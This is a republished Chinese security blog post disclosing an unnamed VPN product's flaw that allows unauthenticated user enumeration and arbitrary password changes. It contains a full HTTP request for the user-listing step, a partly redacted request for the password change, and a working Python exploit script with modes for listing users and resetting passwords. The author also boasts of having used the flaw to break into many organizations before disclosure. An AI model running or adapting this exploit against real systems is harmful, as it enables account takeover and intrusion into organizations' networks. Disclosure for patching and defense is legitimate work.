档案解密暨漏洞复现 : 某VPN 未授权用户获取+任意用户密码修改

admin 2023年5月16日02:01:11评论472 views字数 2657阅读8分51秒阅读模式

免责声明

由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任,一旦造成后果请自行承担!务必遵循所在国家法律法规,严禁未授权渗透测试

0x00简介:

去年的洞了,用了挺久穿了挺多单位,官方在年初应该出过补丁了,现在进行档案解密,关注本公众号,后续将有更多漏洞爆料。


0x01复现:

漏洞需要分两步完成

第一步是未授权遍历所有用户,POC如下

GET /admin/group/x_group.php?id=1 HTTP/1.1Host: exppoc.orgCookie: admin_id=1; gw_admin_ticket=1Connection: close

第二步,修改任何一个指定用户的密码(内部公开)

POST /*****.php?type=1 HTTP/1.1Host: exppoc.orgCookie: *****Content-Length: 57Cache-Control: max-age=0Sec-Ch-Ua: *****Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: *****Origin: *****Content-Type: application/x-www-form-urlencodedUser-Agent: *****Accept: *****Sec-Fetch-Site: *****Sec-Fetch-Mode: *****Sec-Fetch-User: *****Sec-Fetch-Dest: *****Referer: *****Accept-Encoding: *****Accept-Language: *****Connection: *****
*****

0x02利用脚本(内部公开)

import clickimport requestsimport re
proxy = {}

def check_poc1(url, uid=2): header = { "Cookie": "admin_id=1; gw_admin_ticket=1;", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" } path = "/admin/group/x_group.php?id=%s" % uid r = requests.get(url + path, headers=header, proxies=proxy, verify=False) r.encoding = "utf-8" if r.status_code == 200 and "group_action.php" in r.text: if users := re.findall("本地认证-&gt;(.*?)</option>", r.text): return users else: print("not found any user") return []

def check_poc2(url, user, pwd): header = { "Cookie": '********** "User-Agent": "**********", "Origin": url, "Referer": "**********" % url } body = { "old_pass": "", "password": pwd, "repassword": pwd } path = "/**********" r = requests.post(url + path, headers=header, data=body, proxies=proxy, verify=False) r.encoding = "utf-8" if r.status_code == 200 and "修改密码成功" in r.text: return True else: return False

@click.command()@click.option("--target", "-t", help="目标", required=True)@click.option("--group", "-g", default=2, help="用户组", type=int)@click.option("--user", "-u", help="用户名")@click.option("--pwd", "-p", default="Asd123!@#123A", help="密码")@click.option("--list-user", "-lu", is_flag=True)@click.option("--change-pwd", "-cp", is_flag=True)@click.option("--proxy", "proxies")def main(target, group, user, pwd, list_user, change_pwd, proxies): """ step1 : list users (exppoc)
python exp.py -t https://1.1.1.1 -lu
user1 user2 ...
step2 : change password (org)
python exp.py -t https://1.1.1.1 -u user1 -cp
""" global proxy if proxies: proxy = { "http": proxies, "https": proxies } target = target.strip().strip("/") print("target: " + target) if list_user: print("list users~") if users := check_poc1(target, group): print("n".join(users)) else: "no vuln" elif change_pwd: print("change password~") if status := check_poc2(target, user, pwd): print("change %s pwd success, new pwd: %s " % (user, pwd)) else: "false" else: print("please input -lu or -cp")

if __name__ == '__main__': main()

原文始发于微信公众号(开普勒安全团队):档案解密暨漏洞复现 : 某VPN 未授权用户获取+任意用户密码修改

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月16日02:01:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   档案解密暨漏洞复现 : 某VPN 未授权用户获取+任意用户密码修改https://cn-sec.com/archives/1735682.html

发表评论

匿名网友 填写信息